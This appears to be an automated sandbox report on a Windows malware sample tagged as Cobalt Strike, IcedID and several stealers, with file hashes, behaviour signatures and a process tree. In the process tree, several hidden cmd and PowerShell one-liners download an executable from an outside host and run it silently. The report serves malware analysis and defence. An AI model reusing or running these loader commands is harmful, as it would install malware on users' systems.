Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/09/2026, 06:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Resource
win10v2004-20260513-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Resource
win11ltsc2024-20260709-en
5 signatures
150 seconds
General
- Target 2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
- Size 445KB
- Sample260909-hebb5sbc54
- SHA256 002fae9a9a413a50d2a201a10e98c18e8344b4c3c89ec6b17df2ac38480dd5b1
- MD5 15a6188e5412f6f08b73f78eff300a53
- SHA1 7d79eec85b981fc4c5fa962555663aa48cdc532b
- SHA512 c9366ac0f7f0d6f94346aad6b76146222fccf63ef76ef9c77e989feb3efc5c3b749bfbba365b8b4bd101f8020ab536de74bba658f9fe634ca41a26a9a52efcb7
- SSDEEP 6144:3znXHsQ9gVsMLKg8iLsp5vIaCok0FllcnVAWXPqniOpIL1wCAiw8vpT58:jXHaVsMapaok0FoAuL1wQw8vpd
- TLSH T14DA47E25A3A400F9E1778178CE534946EBB2785607A0E7CF1394D6B62F376E05E3EB12
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3680 powershell.exe 980 powershell.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2360 cmd.exe 1888 cmd.exe 4492 cmd.exe 1860 cmd.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3680 powershell.exe 980 powershell.exe 3680 powershell.exe 980 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3680 powershell.exe Token: SeDebugPrivilege 980 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1528 wrote to memory of 1888 1528 2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 86 PID 1888 wrote to memory of 4492 1888 cmd.exe 88 PID 1528 wrote to memory of 1860 1528 2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 90 PID 4492 wrote to memory of 3680 4492 cmd.exe 92 PID 1860 wrote to memory of 2360 1860 cmd.exe 93 PID 2360 wrote to memory of 980 2360 cmd.exe 95
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3680
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
- MD5 556084f2c6d459c116a69d6fedcc4105
- SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
- SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
- TLSH T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 6d4dc2e0c185de97a4bd89bad8673d4dcfd48dbff6ddc7acd790b4d13313ef73
- MD5 2659e6b4886118c0e9ece47970b4226c
- SHA1 f37bf1ea7adb3f0ea7c2aedc8c958d903ffb416d
- SHA512 899283f797405b3005b40eb7ea243bc6b99a2250af04d27b5ce2541b39b9a2dcdc9db22f2c9101e71d3f74065632d084d08db785a509e5c89b30892d7ef037ce
- TLSH T15121A837B3DC8921CC86123A009D9C1072B283C7819ECF9FAFC4D604A07F988CB61290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akzb2m0r.lhm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH